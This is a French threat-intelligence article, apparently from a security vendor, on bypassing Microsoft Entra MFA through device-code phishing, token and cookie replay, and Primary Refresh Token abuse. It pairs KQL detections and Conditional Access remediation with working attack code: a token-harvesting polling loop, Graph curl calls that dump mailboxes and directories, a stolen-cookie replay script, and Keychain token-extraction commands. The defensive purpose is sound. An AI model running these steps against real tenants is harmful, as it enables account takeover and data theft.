Skip to main content

Contournement du MFA en 2025 à 2026 : Hameçonnage par Code d'Appareil, Rejeu de Jetons, et Pourquoi Votre Stratégie d'Accès Conditionnel Ne Suffit Pas

· 29 min read
Inference Defense
Renseignement sur les Menaces & Ingénierie de Détection

Votre utilisateur vient de compléter le MFA. Il a saisi son code d'authentification correctement. Microsoft l'a accepté. Votre stratégie d'Accès Conditionnel a été évaluée et validée. Et l'attaquant assis derrière un serveur dans un autre pays vient de recevoir un jeton d'accès OAuth valide pour 60 à 90 minutes, un jeton d'actualisation valable 90 jours, et un accès à l'intégralité de votre environnement Microsoft 365. Pas de page de phishing. Pas de faux formulaire de connexion. Aucune information d'identification volée. Le MFA a été le mécanisme utilisé par l'attaquant pour s'authentifier au nom de la victime. Ce n'est pas une menace future. Elle est activement exploitée depuis au moins mi-2024, et les campagnes ont fortement augmenté fin 2025.

Pourquoi le MFA N'Est Plus une Frontière de Confiance C'est une Étape d'Authentification

Les RSSI ont traité le MFA comme un contrôle quasi-absolu pendant des années. L'hypothèse implicite : si un utilisateur a complété le MFA, la session est légitime. Cette hypothèse est désormais invalidée pas dans des cas marginaux, pas théoriquement, mais dans des campagnes actives et généralisées documentées par Microsoft, Proofpoint, Huntress, Wiz et d'autres tout au long de 2024–2025.

Les attaques décrites dans cet article exploitent une vérité architecturale fondamentale des systèmes d'identité modernes : les jetons d'authentification sont des artefacts porteurs. Une fois émis, ils sont approuvés inconditionnellement par les serveurs de ressources, quel que soit l'endroit d'où ils sont présentés. L'objectif de l'attaquant a évolué : il ne s'agit plus de voler des informations d'identification, mais de voler ou d'intercepter des jetons et les flux OAuth modernes, conçus pour la commodité et l'interopérabilité, offrent aux attaquants plusieurs mécanismes légitimes pour y parvenir.

Cet article couvre trois classes d'attaques en profondeur technique :

  1. Hameçonnage par Code d'Appareil OAuth armement d'un flux de protocole légitime pour collecter des jetons par ingénierie sociale, sans jamais héberger une page de phishing
  2. Rejeu de Jetons / Détournement de Session vol de jetons émis depuis le stockage du navigateur, la mémoire ou le Keychain macOS, puis rejeu depuis l'infrastructure de l'attaquant
  3. Abus du Primary Refresh Token (PRT) le jeton le plus puissant de l'écosystème Entra ID, comment il peut être extrait ou hameçonné, et pourquoi il contourne même les revendications MFA résistantes au phishing

Pour chacun : le flux d'attaque exact, les commandes et appels API impliqués, ce qu'Entra ID enregistre, ce qu'il manque, et la logique de détection KQL spécifique que vous pouvez déployer.


Partie 1 Hameçonnage par Code d'Appareil OAuth : Contournement du MFA par Conception

1.1 Comprendre le Flux Légitime (RFC 8628)

La Grant d'Autorisation d'Appareil OAuth 2.0 (RFC 8628) a été conçue pour les appareils à capacité de saisie limitée téléviseurs intelligents, imprimantes, appareils IoT qui ne peuvent pas prendre en charge une connexion interactive par navigateur. Le flux fonctionne comme suit :

La propriété de conception critique : l'appareil interrogeant le jeton et l'utilisateur complétant l'authentification sont découplés. Le code d'appareil est le seul lien entre eux. Ce découplage est la primitive d'attaque.

1.2 L'Attaque : Flux HTTP Exacts

L'attaquant effectue la séquence suivante. Ce sont de véritables appels API contre la plateforme d'identité Microsoft :

Étape 1 L'attaquant initie le flux de code d'appareil

POST https://login.microsoftonline.com/common/oauth2/v2.0/devicecode HTTP/1.1
Content-Type: application/x-www-form-urlencoded

client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=openid+profile+email+offline_access+https://graph.microsoft.com/.default

d3590ed6-52b3-4102-aeff-aad2292ab01c est l'ID client de Microsoft Office un client public enregistré par Microsoft, ne nécessitant aucun secret. Les attaquants utilisent des ID client Microsoft légitimes pour demander des portées larges sans avoir besoin d'enregistrer une application malveillante, rendant la détection basée sur le consentement des applications inutile.

Réponse :

{
"user_code": "ABCD-EFGH",
"device_code": "BAQABAAEAAAAmoFfGtYxvRrNriQdPKIZ-....[longue chaîne opaque]",
"verification_uri": "https://microsoft.com/devicelogin",
"expires_in": 900,
"interval": 5,
"message": "Pour vous connecter, utilisez un navigateur web pour ouvrir la page https://microsoft.com/devicelogin et entrez le code ABCD-EFGH pour vous authentifier."
}

Étape 2 L'attaquant commence l'interrogation pendant l'envoi du leurre de phishing à la victime

import requests, time

device_code = "BAQABAAEAAAAmoFfGtYxvRrNriQdPKIZ-...."

while True:
r = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/token",
data={
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
"device_code": device_code
}
)
resp = r.json()
if "access_token" in resp:
print("[+] Jeton acquis !")
print("Jeton d'accès :", resp["access_token"])
print("Jeton d'actualisation :", resp["refresh_token"])
break
elif resp.get("error") == "authorization_pending":
time.sleep(5) # Interroger toutes les 5 secondes selon le champ interval
elif resp.get("error") == "expired_token":
print("[-] Code expiré, régénérer")
break

Étape 3 La victime reçoit l'e-mail de phishing, entre le code sur la vraie page Microsoft

La victime navigue vers https://microsoft.com/devicelogin le vrai domaine Microsoft, certificat valide, aucun indicateur de phishing entre ABCD-EFGH, se connecte avec ses vraies informations d'identification, complète le MFA (push, TOTP, peu importe) et clique sur "Continuer."

Étape 4 La boucle d'interrogation de l'attaquant retourne les jetons

Au moment où la victime clique sur "Continuer," la prochaine interrogation retourne :

{
"token_type": "Bearer",
"scope": "openid profile email offline_access https://graph.microsoft.com/.default",
"expires_in": 3599,
"access_token": "eyJ0eXAiOiJKV1QiLCJub25jZSI6....",
"refresh_token": "0.AUkA2...[jeton 90 jours]",
"id_token": "eyJ0eXAiOiJKV1Qi..."
}

L'attaquant dispose désormais de :

  • Un jeton d'accès valide ~60 minutes, délimité à Microsoft Graph accès immédiat à l'API Graph
  • Un jeton d'actualisation valide 90 jours (ou jusqu'à révocation explicite) accès persistant

Le MFA a été satisfait. Par la victime. Pour la session de l'attaquant. C'est conçu pour fonctionner ainsi.

1.3 Ce Que l'Attaquant Peut Faire Avec les Jetons

Avec le jeton d'accès à l'API Graph, l'attaquant commence immédiatement la reconnaissance :

# Énumérer tout le contenu de la boîte mail
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,from,receivedDateTime"

# Télécharger tous les fichiers depuis OneDrive
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/drive/root/children"

# Énumérer les messages Teams
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/chats/getAllMessages"

# Lister tous les utilisateurs du tenant
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/users?$top=999&$select=displayName,mail,userPrincipalName,jobTitle"

# Obtenir tous les groupes et memberships (identifier les groupes privilégiés)
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/memberOf"

Dans les 15 premières minutes de la durée de vie du jeton d'accès, un acteur malveillant peut extraire tout le contenu de la boîte mail d'un cadre dirigeant, identifier tous les groupes privilégiés et leurs membres, exfiltrer tous les fichiers OneDrive et SharePoint accessibles à cet utilisateur, et lire tout l'historique des conversations Teams y compris les canaux avec des discussions stratégiques sensibles.

Le jeton d'actualisation étend cela pendant 90 jours :

# Échange de jeton d'actualisation  obtenir un nouveau jeton d'accès à l'expiration
r = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/token",
data={
"grant_type": "refresh_token",
"client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
"refresh_token": "<jeton-90-jours>",
"scope": "https://graph.microsoft.com/.default offline_access"
}
)
# Retourne un nouveau access_token + nouveau refresh_token (fenêtre glissante)

Le jeton d'actualisation glisse chaque utilisation prolonge la fenêtre. Tant que l'attaquant l'utilise au moins tous les 90 jours, l'accès est persistant jusqu'à ce qu'un administrateur révoque explicitement tous les jetons d'actualisation de l'utilisateur.

1.4 Génération Dynamique de Code : Contournement de l'Expiration de 15 Minutes

Les premières campagnes de hameçonnage par code d'appareil avaient une faiblesse critique : le code expirait 15 minutes après la génération. Les attaquants qui pré-généraient des codes et les intégraient dans des e-mails de phishing en masse perdaient la course si la victime ouvrait l'e-mail plus de 15 minutes après l'envoi.

Le toolkit SquarePhish2 et la plateforme PhaaS EvilTokens (documentée début 2026) résolvent ce problème avec la génération dynamique :

La victime dispose d'une fenêtre de 15 minutes à partir du moment où elle clique ce qui est largement suffisant pour compléter l'authentification. Le problème de timing de l'attaquant est complètement éliminé.


Partie 2 Rejeu de Jetons : Voler Ce Qui a Déjà Été Émis Légitimement

Le hameçonnage par code d'appareil manipule le processus d'émission. Le rejeu de jetons le contourne entièrement l'attaquant vole un jeton qui a été émis légitimement lors d'une vraie session utilisateur.

2.1 Où Vivent les Jetons et Comment Ils Sont Volés

Lorsqu'un utilisateur s'authentifie à Microsoft 365, Entra ID émet des cookies de session. Les plus précieux : ESTSAUTH et ESTSAUTHPERSISTENT les cookies de session représentant une authentification MFA complétée.

# Chrome/Edge stockent les cookies dans une base de données SQLite
# Chemin Windows :
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies

# Chemin macOS :
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Microsoft Edge/Default/Cookies

Le cookie ESTSAUTH, une fois extrait, peut être rejoué dans un navigateur sur n'importe quelle machine :

# Utilisation de requests pour rejouer le cookie de session volé
import requests

session = requests.Session()
session.cookies.set(
'ESTSAUTH', '<valeur_cookie_volée>',
domain='login.microsoftonline.com'
)
session.cookies.set(
'ESTSAUTHPERSISTENT', '<cookie_persistant_volé>',
domain='login.microsoftonline.com'
)

# Accéder à Microsoft 365 avec la session authentifiée de la victime
r = session.get("https://outlook.office.com/mail/")
# Retourne la boîte mail de la victime aucune invite de credential, aucune invite MFA

Extraction de Jetons depuis le Keychain macOS (Documentée en 2025)

Microsoft Edge sur macOS met en cache les jetons OAuth y compris les jetons d'actualisation et dans certains cas les Primary Refresh Tokens dans le Keychain macOS. Cela a été documenté par des chercheurs en sécurité fin 2025 :

# Lister toutes les entrées Keychain liées à Microsoft
security find-internet-password -l "Microsoft Edge" -g 2>&1 | grep -i "microsoft\|azure\|msal"

# Entrées spécifiques à rechercher :
# "refreshtoken-1--<guid>" Jeton d'actualisation OAuth
# "primaryrefreshtoken-1--<guid>" Primary Refresh Token (le plus précieux)
# "accesstoken-1--<guid>" Jeton d'accès à courte durée de vie

# Exporter une entrée spécifique :
security find-generic-password -a "refreshtoken" -s "Microsoft Edge" -w

Avec le jeton d'actualisation extrait, l'attaquant le rejoue en utilisant TokenTactics ou un script personnalisé :

# TokenTactics  module PowerShell pour la manipulation de jetons
Import-Module TokenTactics

# Actualiser un jeton volé pour obtenir un nouveau jeton d'accès
$tokens = RefreshTo-MSGraphToken -refreshToken "<jeton_actualisation_volé>" `
-tenantId "<tenant_id>" `
-clientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"

$tokens.access_token # Nouveau jeton d'accès accès immédiat à l'API Graph
$tokens.refresh_token # Nouveau jeton d'actualisation fenêtre glissante de 90 jours

Proxy AiTM (Adversaire-au-Milieu) Evilginx / Tycoon 2FA

Le mécanisme de vol de jetons le plus évolutif est le proxy inverse AiTM documenté abondamment dans les campagnes Tycoon 2FA (qui représentaient 65% des attaques d'identifiants pilotées par PhaaS au S1 2025 selon Ontinue) :

Le proxy se place de manière transparente entre l'utilisateur et Microsoft. L'utilisateur complète le vrai MFA. Microsoft émet de vrais cookies de session. Le proxy les capture avant de les transmettre au navigateur de l'utilisateur. Les deux parties voient une authentification réussie. L'attaquant a les cookies.

2.2 La Lacune de Détection des Voyages Impossibles

Une fois que l'attaquant rejoue le jeton depuis sa propre IP, une anomalie géographique existe. Cependant, le rejeu de jetons présente un avantage structurel par rapport aux attaques par mot de passe pour contourner cette détection :

  1. Les connexions non interactives ne déclenchent pas toujours les voyages impossibles. Lorsqu'un attaquant utilise un jeton d'actualisation pour obtenir silencieusement de nouveaux jetons d'accès, ceux-ci apparaissent comme des connexions non interactives dans les journaux Entra ID non évaluées selon les mêmes politiques de risque que les connexions interactives par défaut dans de nombreuses configurations de tenant.

  2. Le décalage temporel permet la plausibilité géographique. Si l'attaquant attend plusieurs heures après le vol du jeton avant de l'utiliser depuis un emplacement distant, le delta temporel rend le calcul de voyage impossible ambigu.

  3. Les services VPN commerciaux et les proxies résidentiels contournent trivialement la géolocalisation IP. Les attaquants utilisent des proxies résidentiels dans la ville ou le pays de la victime pour que l'accès semble local.


Partie 3 Abus du Primary Refresh Token : Le Joyau de la Couronne

3.1 Qu'est-ce qu'un PRT et Pourquoi Est-il Uniquement Dangereux

Le Primary Refresh Token est un artefact OAuth spécial émis par Entra ID pour les appareils joints ou enregistrés dans Azure AD. C'est le jeton le plus puissant de la pile d'identité Microsoft :

Type de JetonPortéeDurée de VieRevendication MFALié à l'Appareil
Jeton d'AccèsRessource spécifique60–90 minRevendications héritéesNon
Jeton d'ActualisationTenant entier90 joursRevendications héritéesNon
Primary Refresh TokenToute ressource Entra ID14 jours (glissant)Peut satisfaire la revendication MFAOui (protégé par TPM sur W11)

Un PRT inclut une revendication device_id et la revendication de méthode d'authentification MFA (amr). Lorsqu'une politique d'Accès Conditionnel requiert "MFA obligatoire" ET "appareil conforme," le PRT peut satisfaire les deux conditions simultanément. C'est pourquoi le vol de PRT est l'attaque de premier niveau : PRT volé → peut contourner les vérifications de conformité d'appareil ET les exigences MFA qu'un jeton d'accès ou d'actualisation volé ne peut pas contourner.

3.2 Extraction du PRT (Windows)

Sur Windows 10 et 11 sans TPM, le PRT est stocké dans la mémoire LSASS et le Gestionnaire d'Informations d'Identification Windows :

# Vérifier si l'appareil actuel a un PRT :
dsregcmd /status

# La sortie indique la présence du PRT :
# AzureAdPrt : YES
# AzureAdPrtUpdateTime : 2025-01-15 09:23:44.000 UTC
# AzureAdPrtExpiryTime : 2025-01-29 09:23:44.000 UTC

Avec un accès SYSTEM sur la machine, un attaquant peut extraire le PRT en utilisant des outils qui lisent depuis LSASS ou le Gestionnaire d'Informations d'Identification Windows :

# ROADToken  outil de recherche défensive pour l'analyse de PRT
# Demander un nouveau jeton d'accès en utilisant le PRT extrait
.\ROADToken.exe --prt <prt_extrait> --prt-sessionkey <clé_session> `
--resource https://graph.microsoft.com/

# Le jeton d'accès résultant satisfait les revendications de conformité d'appareil
# même lorsqu'utilisé depuis une machine différente

Sur Windows 11 avec TPM : Le PRT est lié à la puce TPM, rendant l'extraction dramatiquement plus difficile la clé privée utilisée pour prouver la possession du PRT ne quitte jamais le TPM. Cependant, les VMs Hyper-V Generation 1 n'ont pas de support TPM, les VMs hébergées dans le cloud doivent être explicitement configurées avec vTPM, et l'accès UEFI/BIOS peut désactiver le TPM.

3.3 Hameçonnage Direct d'un PRT La Technique Avancée

Le chercheur Dirk-jan Mollema a documenté une technique où le hameçonnage par code d'appareil, combiné à l'enregistrement d'appareil, peut yielder un PRT complet :

Chaîne d'attaque pour obtenir un PRT via le hameçonnage par code d'appareil :

Étape 1 : L'attaquant initie le flux de code d'appareil pour l'application broker Windows
client_id = 29d9ed98-a469-4536-ade2-f981bc1d605e (broker Microsoft)
scope = openid profile offline_access

Étape 2 : La victime complète le MFA (revendication MFA fraîche dans le jeton résultant)

Étape 3 : L'attaquant a un jeton d'actualisation + revendication MFA fraîche

Étape 4 : L'attaquant enregistre un nouvel appareil dans le tenant
POST https://login.microsoftonline.com/common/oauth2/v2.0/token
{grant_type: refresh_token, scope: "urn:ms-drs:enterpriseregistration..."}

Étape 5 : Avec l'appareil enregistré, l'attaquant demande un PRT pour cet appareil
Le PRT porte : device_id valide + revendication MFA de l'étape 2

Étape 6 : L'attaquant utilise le PRT pour accéder à TOUTE ressource protégée par :
"Exiger MFA" ✓ (revendication MFA de l'étape 2)
"Exiger appareil conforme" ✓ (appareil enregistré à l'étape 4)

Requête KQL pour détecter cet abus d'enregistrement d'appareil :

// Détecter l'enregistrement d'appareil immédiatement après authentification par code d'appareil
let DeviceCodeLogins = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| project UserPrincipalName, DeviceCodeTime = TimeGenerated,
IPAddress, CorrelationId;

let DeviceRegistrations = AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Register device"
or OperationName == "Add registered users to device"
| extend UPN = tostring(InitiatedBy.user.userPrincipalName)
| project UPN, RegistrationTime = TimeGenerated,
DeviceName = tostring(TargetResources[0].displayName);

DeviceCodeLogins
| join kind=inner DeviceRegistrations on $left.UserPrincipalName == $right.UPN
| where (RegistrationTime - DeviceCodeTime) between (0min .. 30min)
| project UserPrincipalName, DeviceCodeTime, RegistrationTime,
IPAddress, DeviceName, CorrelationId
| sort by DeviceCodeTime desc

Partie 4 Ce qu'Entra ID Enregistre et Ce Qu'il Manque

4.1 Taxonomie des Journaux de Connexion

Entra ID produit trois types de journaux de connexion, et ils ne sont pas surveillés de manière égale :

Table de JournauxCe Qu'elle CaptureRétention par DéfautCouverture des Alertes
SigninLogsConnexions interactives (navigateur, invites d'applications clientes)30 joursÉlevée la plupart des orgs surveillent ceci
NonInteractiveUserSignInLogsActualisations silencieuses de jetons (arrière-plan, grants refresh_token)30 joursFaible souvent non intégré dans le SIEM
ServicePrincipalSignInLogsAuthentification app-to-app30 joursMoyenne
ManagedIdentitySignInLogsDemandes de jetons d'identité gérée30 joursFaible

La lacune critique : Le rejeu de jetons apparaît le plus souvent dans NonInteractiveUserSignInLogs. Lorsqu'un attaquant utilise un jeton d'actualisation volé pour obtenir silencieusement de nouveaux jetons d'accès, cela génère des entrées dans cette table pas dans SigninLogs. Beaucoup d'organisations n'intègrent pas cette table dans leur SIEM, ou ne l'alertent pas avec la même rigueur.

4.2 À Quoi Ressemble une Connexion par Hameçonnage de Code d'Appareil dans les Journaux

{
"UserPrincipalName": "victime@entreprise.com",
"AppDisplayName": "Microsoft Office",
"ClientAppUsed": "Applications mobiles et clients bureau",
"AuthenticationProtocol": "deviceCode",
"AuthenticationRequirement": "singleFactorAuthentication",
"ConditionalAccessStatus": "success",
"IPAddress": "185.220.101.x",
"Location": {
"City": "Francfort",
"CountryOrRegion": "DE"
},
"DeviceDetail": {
"deviceId": "",
"displayName": "",
"operatingSystem": "",
"browser": ""
},
"RiskDetail": "none",
"ResultType": "0"
}

Indicateurs forensiques clés :

  • AuthenticationProtocol == "deviceCode" la preuve irréfutable
  • Champs DeviceDetail vides le jeton n'était pas lié à un appareil enregistré
  • IPAddress appartient à l'infrastructure de l'attaquant, pas aux IPs connues de la victime

4.3 À Quoi Ressemble le Rejeu de Jetons dans les Journaux

{
"UserPrincipalName": "victime@entreprise.com",
"AppDisplayName": "Microsoft Graph",
"AuthenticationProtocol": "none",
"IsInteractive": false,
"IPAddress": "45.152.x.x",
"Location": {"CountryOrRegion": "NL"},
"TokenIssuerType": "AzureAD",
"RiskDetail": "none",
"UniqueTokenIdentifier": "ZGJhNzQ4..."
}

Le modèle d'accès de l'attaquant montrera des connexions non interactives cohérentes à intervalles réguliers (actualisation de jeton), depuis une IP cohérente (le serveur de l'attaquant), accédant à des endpoints de l'API Microsoft Graph non typiques du modèle de travail normal de la victime.


Partie 5 Détection : Requêtes Qui Fonctionnent Vraiment

5.1 Détecter les Connexions par Code d'Appareil depuis des Contextes Non Gérés

Le point de départ avec la plus haute fidélité. Le flux de code d'appareil est rarement légitime pour les utilisateurs d'entreprise standard :

// Détecter l'authentification par code d'appareil où aucun appareil n'est enregistré
SigninLogs
| where TimeGenerated > ago(7d)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| where isempty(DeviceDetail.deviceId)
| extend
Pays = tostring(LocationDetails.countryOrRegion),
Ville = tostring(LocationDetails.city)
| summarize
Nombre = count(),
IPsUniques = dcount(IPAddress),
Pays = make_set(Pays),
DernièreVue = max(TimeGenerated)
by UserPrincipalName, AppDisplayName
| where Nombre > 0
| sort by DernièreVue desc

Version plus stricte alerter sur toute connexion par code d'appareil pour les utilisateurs non dans une liste autorisée :

// Maintenir une liste autorisée des utilisateurs/apps avec des besoins légitimes de code d'appareil
let UtilisateursCodeAppareilAutorisés = dynamic([
"admin-iot@entreprise.com",
"svc-imprimante@entreprise.com"
]);

SigninLogs
| where TimeGenerated > ago(1d)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| where UserPrincipalName !in (UtilisateursCodeAppareilAutorisés)
| project TimeGenerated, UserPrincipalName, IPAddress,
AppDisplayName, LocationDetails, CorrelationId
| sort by TimeGenerated desc

Taux de faux positifs attendu lorsque la liste autorisée est correctement configurée : quasi nul.

5.2 Détecter le Rejeu de Jetons via des Voyages Impossibles dans les Journaux Non Interactifs

// Ciblant la lacune de détection  les connexions non interactives où se cache le rejeu de jetons
let SeuilleDeltaTempsMinutes = 60;
let DistanceMinimaleKm = 500;

NonInteractiveUserSignInLogs
| where TimeGenerated > ago(24h)
| where ResultType == "0"
| extend
Lat = toreal(LocationDetails.geoCoordinates.latitude),
Lon = toreal(LocationDetails.geoCoordinates.longitude),
Pays = tostring(LocationDetails.countryOrRegion)
| where isnotempty(Lat) and isnotempty(Lon)
| sort by UserPrincipalName asc, TimeGenerated asc
| serialize
| extend
LatPrécédente = prev(Lat, 1),
LonPrécédente = prev(Lon, 1),
HeurePrécédente = prev(TimeGenerated, 1),
UtilisateurPrécédent = prev(UserPrincipalName, 1)
| where UserPrincipalName == UtilisateurPrécédent
| extend
DeltaTempsMin = datetime_diff('minute', TimeGenerated, HeurePrécédente),
DistanceKm = 111.0 * sqrt(pow(Lat - LatPrécédente, 2) + pow(Lon - LonPrécédente, 2))
| where DeltaTempsMin < SeuilleDeltaTempsMinutes
| where DistanceKm > DistanceMinimaleKm
| project TimeGenerated, UserPrincipalName,
IPActuel = IPAddress, PaysCourant = Pays,
DeltaTempsMin, DistanceKm, AppDisplayName,
UniqueTokenIdentifier
| sort by TimeGenerated desc

5.3 Corréler l'Utilisation des Jetons à l'Activité de l'API Graph

// Joindre SigninLogs à MicrosoftGraphActivityLogs pour voir ce qu'a fait un jeton
// Nécessite la configuration des journaux d'activité Graph dans Log Analytics
let Jetonssuspects = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| project UniqueTokenIdentifier, UserPrincipalName,
HeureConnexion = TimeGenerated, IPConnexion = IPAddress;

MicrosoftGraphActivityLogs
| where TimeGenerated > ago(24h)
| join kind=inner JetonsSupects on $left.UniqueTokenIdentifier == $right.UniqueTokenIdentifier
| project TimeGenerated, UserPrincipalName, RequestUri,
ResponseStatusCode, ClientIpAddress, IPConnexion
| sort by TimeGenerated asc

5.4 Détecter l'Abus d'Enregistrement d'Appareil Basé sur le PRT

// Haute fidélité : appareil enregistré immédiatement après auth par code d'appareil
// Taux de faux positifs quasi nul dans les environnements d'entreprise standard
let FenêtreRecherche = 1h;

let ÉvénementsCodeAppareil = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| project UserPrincipalName, HeureCA = TimeGenerated,
IPAdresseCA = IPAddress, CorrelationId;

AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName in ("Register device", "Add registered users to device",
"Add member to role", "Add eligible member to role")
| extend ActeurUPN = tostring(InitiatedBy.user.userPrincipalName)
| where isnotempty(ActeurUPN)
| join kind=inner ÉvénementsCodeAppareil on $left.ActeurUPN == $right.UserPrincipalName
| extend DeltaTemps = TimeGenerated - HeureCA
| where DeltaTemps between (0min .. FenêtreRecherche)
| project ActeurUPN, OperationName, TimeGenerated, HeureCA,
DeltaTemps, IPAdresseCA,
RessourceCible = tostring(TargetResources[0].displayName)
| sort by TimeGenerated desc

5.5 Chasser les Modèles d'Abus de Jeton d'Actualisation (Accès Massif à l'API Graph)

Les utilisateurs légitimes ne font pas de requêtes massives à l'API Graph à 3h du matin :

// Détecter un volume anormal de requêtes API Graph depuis des sessions non interactives
// Indicateur d'exfiltration automatisée de données avec des jetons volés
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(24h)
| where RequestMethod in ("GET")
| extend
Heure = hourofday(TimeGenerated),
UPN = tostring(UserId)
| summarize
NombreRequêtes = count(),
EndpointsUniques = dcount(RequestUri),
JetonsUniques = dcount(UniqueTokenIdentifier)
by UPN, bin(TimeGenerated, 1h)
| where NombreRequêtes > 500
| where Heure between (0 .. 6)
| sort by NombreRequêtes desc

Partie 6 Les Lacunes de l'Accès Conditionnel : Pourquoi Votre Stratégie a Probablement des Failles

6.1 La Condition Qui Bloque le Hameçonnage par Code d'Appareil (Et Pourquoi Elle N'Est Pas Déployée)

Microsoft a ajouté la condition Flux d'authentification d'Accès Conditionnel spécifiquement pour traiter l'abus du code d'appareil :

Stratégie d'Accès Conditionnel : "Bloquer le Flux de Code d'Appareil"
──────────────────────────────────────────────────────────────────────
Affectations :
Utilisateurs : Tous les utilisateurs
Exclure : Comptes de secours, comptes de service avec besoins IoT documentés

Ressources Cibles :
Applications cloud : Toutes les applications cloud

Conditions :
Flux d'authentification : Flux de code d'appareil

Accorder :
Bloquer l'accès
──────────────────────────────────────────────────────────────────────

Avant d'activer en mode enforcement, auditez votre environnement :

Connect-MgGraph -Scopes "AuditLog.Read.All"

$filtre = "authenticationProtocol eq 'deviceCode' and " +
"createdDateTime ge $(([datetime]::UtcNow.AddDays(-30)).ToString('o'))"

$connexions = Get-MgAuditLogSignIn -Filter $filtre -All -Top 999

$connexions | Select-Object -Property UserPrincipalName, AppDisplayName,
IPAddress, CreatedDateTime |
Group-Object UserPrincipalName |
Sort-Object Count -Descending |
Select-Object Name, Count, @{N='Apps';E={($_.Group.AppDisplayName | Sort-Object -Unique) -join ', '}} |
Export-Csv "utilisation_code_appareil.csv" -NoTypeInformation

6.2 Les Six Lacunes les Plus Courantes de l'Accès Conditionnel

LacunePourquoi Elle ExisteCe Que l'Attaquant Exploite
Flux de code d'appareil non bloquéCondition de stratégie ajoutée par Microsoft en 2023 beaucoup de tenants n'ont pas révisé leurs stratégies CA depuisHameçonnage par code d'appareil complet comme décrit ci-dessus
Connexions non interactives non évaluéesLes stratégies CA s'appliquent aux flux interactifs par défautJeton d'actualisation volé rejoué silencieusement contourne l'évaluation CA de l'état actuel
Exigence d'appareil conforme non appliquée pour les apps webPréoccupations de frictionJeton rejoué dans un navigateur non conforme contourne l'exigence d'appareil
Emplacements Nommés non maintenusL'informatique liste les IPs du bureau d'entreprise mais oublie les sorties VPN, les plages de fournisseurs de confianceToutes les sessions authentifiées depuis des emplacements "inconnus" génèrent des alertes à faible signal
Authentification héritée non entièrement bloquéeCertaines apps héritées se cassent quand l'auth héritée est désactivéeBrute-force via SMTP, IMAP, EWS ces protocoles ne supportent pas du tout le MFA
Attributions de rôles admin non protégées par MFA + PIMCommodité : les admins n'aiment pas l'auth par étapesUn jeton volé depuis un compte utilisateur standard peut servir à escalader si les rôles admin ne sont pas correctement gérés par PIM

6.3 Évaluation Continue de l'Accès Ce Qu'elle Protège et Ce Qu'elle Ne Protège Pas

L'Évaluation Continue de l'Accès (CAE) permet à certains services Microsoft (Exchange Online, SharePoint, Teams, Graph) de réévaluer l'accès en quasi-temps réel lorsque des signaux de risque changent.

Ce que CAE protège :

  • Compte utilisateur désactivé → accès révoqué en quelques minutes (pas à la prochaine expiration du jeton)
  • Réinitialisation du mot de passe → jetons d'actualisation invalidés rapidement
  • Événement à risque élevé détecté par Identity Protection → accès bloqué en quelques minutes pour les clients compatibles CAE

Ce que CAE ne protège PAS :

  • L'attaquant utilisant le jeton d'accès pendant sa durée de vie restante (~60 min) avant que la révocation se propage
  • Les clients qui ne supportent pas CAE (beaucoup d'apps tierces, anciens clients)
  • Le délai de propagation de 10 à 15 minutes entre l'action de révocation et l'application même dans les clients compatibles CAE

6.4 Configuration de la Durée de Vie des Jetons : Ce Que Vous Pouvez Vraiment Contrôler

# Créer une stratégie personnalisée avec une durée de vie plus courte du jeton d'accès
$stratégieVieJeton = @{
Definition = @(
'{"TokenLifetimePolicy":{"Version":1,"AccessTokenLifetime":"00:30:00"}}'
)
DisplayName = "StratégieJetonsAccèsCourte"
IsOrganizationDefault = $false
}
New-MgPolicyTokenLifetimePolicy -BodyParameter $stratégieVieJeton

Plus impactant : Stratégie de fréquence de connexion dans l'Accès Conditionnel

Stratégie CA : "Exiger une re-authentification pour les apps sensibles"
──────────────────────────────────────────────────────────────────────
Affectations :
Utilisateurs : Tous les utilisateurs
Cible : Portail Azure, Exchange Online (opérations admin), Graph Explorer

Contrôles de Session :
Fréquence de connexion : 4 heures (ou 1 heure pour la plus haute sensibilité)
Session de navigateur persistante : Jamais persistante
──────────────────────────────────────────────────────────────────────

Partie 7 Réponse aux Incidents Lorsque le Vol de Jeton Est Confirmé

7.1 La Séquence de Révocation

Si vous avez confirmé un vol de jeton, voici la séquence de remédiation exacte. L'ordre compte :

# Étape 1 : Révoquer TOUS les jetons d'actualisation pour l'utilisateur affecté
Connect-MgGraph -Scopes "User.ReadWrite.All"
$idUtilisateur = "victime@entreprise.com"
Invoke-MgRevokeUserSignInSession -UserId $idUtilisateur

# Vérifier la révocation :
Get-MgUser -UserId $idUtilisateur -Property "signInSessionsValidFromDateTime" |
Select-Object signInSessionsValidFromDateTime

# Étape 2 : Désactiver le compte pour forcer le blocage des clients non-CAE immédiatement
Update-MgUser -UserId $idUtilisateur -AccountEnabled $false
# Attendre 60 minutes, puis réactiver

# Étape 3 : Supprimer les enregistrements d'appareils malveillants
Get-MgUserRegisteredDevice -UserId $idUtilisateur |
Select-Object Id, DisplayName, RegistrationDateTime, TrustType |
Sort-Object RegistrationDateTime -Descending
# Comparer avec les appareils connus légitimes ; supprimer les suspects :
